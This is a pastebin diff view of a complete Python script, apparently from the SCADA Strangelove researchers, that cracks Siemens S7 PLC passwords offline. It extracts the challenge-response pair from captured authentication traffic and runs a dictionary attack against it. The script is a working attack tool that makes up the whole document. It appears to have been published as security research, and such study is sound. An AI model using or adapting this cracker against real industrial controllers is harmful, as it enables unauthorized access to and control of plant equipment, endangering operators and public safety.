View difference between Paste ID: yZCmACnc and 0G9Q2k6y
SHOW: | | - or go back to the newest paste.
1
"""
2
File: s7-brute-offline.py
3
Desc: offline password bruteforsing based on challenge-response data, extracted from auth traffic dump file
4
5
Alexander Timorin, Dmitry Sklyarov
6
http://scadastrangelove.org
7
8
Version: 0.1 (just for demo, don't kick my ass plz)
9
"""
10
11
import sys
12
import hashlib
13
import hmac
14
from binascii import hexlify
15
try:
16
    from scapy.all import *
17
except ImportError:
18
    print "please install scapy: http://www.secdev.org/projects/scapy/ "
19
    sys.exit()
20
21
22
cfg_pcap_file = '/root/siemens/RE_S7/stop_cpu_cmd_right_pass_123.pcap'
23
cfg_dictionary_file = 'dict.txt'
24
25
def get_challenge_response():
26
    r = rdpcap(cfg_pcap_file)
27
28
    lens = map(lambda x: x.len, r)
29
    pckt_lens = dict([(i, lens[i]) for i in range(0,len(lens))])
30
31
    # try to find challenge packet
32
    pckt_108 = 0 #challenge packet (from server)
33
    for (pckt_indx, pckt_len) in pckt_lens.items():
34
        if pckt_len+14 == 108 and hexlify(r[pckt_indx].load)[14:24] == '7202002732':
35
            pckt_108 = pckt_indx
36
            break
37
38
    # try to find response packet
39
    pckt_141 = 0 #response packet (from client)
40
    _t1 = dict([ (i, lens[i]) for i in pckt_lens.keys()[pckt_108:] ])
41
    for pckt_indx in sorted(_t1.keys()):
42
        pckt_len = _t1[pckt_indx]
43
        if pckt_len+14 == 141 and hexlify(r[pckt_indx].load)[14:24] == '7202004831':
44
            pckt_141 = pckt_indx
45
            break
46
47
    # try to find auth result packet
48
    pckt_84 = 0 # auth answer from plc: pckt_len==84 -> auth ok
49
    pckt_92 = 0 # auth answer from plc: pckt_len==92 -> auth bad
50
    for pckt_indx in sorted(_t1.keys()):
51
        pckt_len = _t1[pckt_indx]
52
        if pckt_len+14 == 84 and hexlify(r[pckt_indx].load)[14:24] == '7202000f32':
53
            pckt_84 = pckt_indx
54
            break
55
        if pckt_len+14 == 92 and hexlify(r[pckt_indx].load)[14:24] == '7202001732':
56
            pckt_92 = pckt_indx
57
            break
58
59
    print "found packets indeces: pckt_108=%d, pckt_141=%d, pckt_84=%d, pckt_92=%d" % (pckt_108, pckt_141, pckt_84, pckt_92)
60
    if pckt_84:
61
        print "auth ok"
62
    else:
63
        print "auth bad. for brute we need right auth result. exit"
64
        sys.exit()
65
66
    challenge = None
67
    response = None
68
69
    raw_challenge = hexlify(r[pckt_108].load)
70
    if raw_challenge[46:52] == '100214' and raw_challenge[92:94] == '00':
71
        challenge = raw_challenge[52:92]
72
        print "found challenge: %s" % challenge
73
    else:
74
        print "cannot find challenge. exit"
75
        sys.exit()
76
77
    raw_response = hexlify(r[pckt_141].load)
78
    if raw_response[64:70] == '100214' and raw_response[110:112] == '00':
79
        response = raw_response[70:110]
80
        print "found  response: %s" % response
81
    else:
82
        print "cannot find response. exit"
83
        sys.exit()
84
85
    return challenge, response
86
87
def calculate_s7response(password, challenge):
88
    challenge = challenge.decode("hex")
89
    return hmac.new( hashlib.sha1(password).digest(), challenge, hashlib.sha1).hexdigest()
90
91
if __name__ == '__main__':
92
    print "using pcap file: %s" % cfg_pcap_file
93
    challenge, response = get_challenge_response()
94
    print "start password bruteforsing  ..."
95
    for p in open(cfg_dictionary_file):
96
        p = p.strip()
97
        if response == calculate_s7response(p, challenge):
98
            print "found password: %s" % p
99
            sys.exit()
100
    print "password not found. try another dictionary."